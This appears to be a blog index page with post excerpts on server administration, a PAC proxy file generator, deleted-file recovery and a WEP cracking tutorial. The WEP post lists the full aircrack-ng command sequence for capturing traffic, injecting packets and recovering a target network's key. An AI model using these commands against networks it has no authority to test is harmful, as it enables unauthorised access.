A Evolução em Administrar Servidores

Tradicionamente, servidores eram instalados um por um nos data centers. Cada servidor precisava de horas (senão dias) pra ficar pronto. O trabalho do sys admin era colocar o casaco de pele, entrar no data center equipado com um caderno e um cd-rom, achar o servidor em questão e instalar o sistema operacional a partir do CD, configurar o básico para ter rede e acesso SSH pra depois poder voltar para sua mesa e terminar a configuração.

Read more

Spaghetti with Tuna

WebPAC: A Proxy auto-config file generator

What’s a .PAC file?

PAC file allows your to create custom rules for proxy settings in an intranet. All workstations can have their proxy settings centralized in one file and you can set different proxies, depending on IP address, URL or network.

Under the hood, it is basically a JavaScript file (but with .pac extension) loaded onto browsers. When the browser is requesting a new URL, the JavaScript function FindProxyForURL() runs, and based on the function’s return value, a proxy is set. Read more

Quebrando chave WEP com Aircrack-ng e Ubuntu 10.4 [video]

Video demonstrativo de como quebrar uma chave WEP (nesse caso 40-bits, mas funcionaria para 104-bits).

Comandos:
0:42 apt-get install aircrack-ng
1:06 iwconfig
1:22 airmon-ng start wlan0
1:30 ifconfig
1:35 ifconfig mon0
1:43 airodump-ng mon0
2:05 airodump-ng –channel 6 –bssid XX:XX:XX:XX:XX:XX -w wep1 mon0
2:33 sudo su
2:43 ifconfig wlan0
2:50 aireplay-ng -1 0 -e YYYY -a XX:XX:XX:XX:XX:XX -h ZZ:ZZ:ZZ:ZZ:ZZ:ZZ mon0
3:17 aireplay-ng -3 -b XX:XX:XX:XX:XX:XX -h ZZ:ZZ:ZZ:ZZ:ZZ:ZZ mon0
4:04 sudo su
4:13 aireplay-ng -1 0 -e YYYY -a XX:XX:XX:XX:XX:XX -h ZZ:ZZ:ZZ:ZZ:ZZ:ZZ mon0
4:26 ls -lah wep1-01.cap
4:35 aircrack-ng -b XX:XX:XX:XX:XX:XX wep1-01.cap

XX:XX:XX:XX:XX:XX = BSSID da rede alvo (obtido pelo airodump-ng)
YYYY = nome da rede alvo (obtido pelo airodump-ng)
ZZ:ZZ:ZZ:ZZ:ZZ:ZZ:ZZ = MAC address da interface de rede que usamos para injetar os pacotes (nesse caso: wlan0)

UPDATE (23/10/2011):

aireplay-ng: Wouldn’t false authenticate OR deauth = mon0 is on channel -1, but the AP uses channel X

Se voce estiver tendo problema com “channel -1”, de uma olhada nesse tutorial:

http://www.hack.net.br/blog/hacking/aircrack-ng-mon0-is-on-channel-1-but-the-ap-uses-channel-x/

Recuperando arquivos deletados

Desafio: Eu e meu roommate fomos tirar umas fotos com uns cangurus aqui perto e na volta, ao passar as fotos para o computador, ele acidentalmente apagou algumas fotos que havia tirado.

Teoria: Quando um arquivo é apagado, na verdade apenas a ligação para o arquivo é retirada do sistema de arquivos, por isso, se nada for escrito em cima, o arquivo continua lá. Read more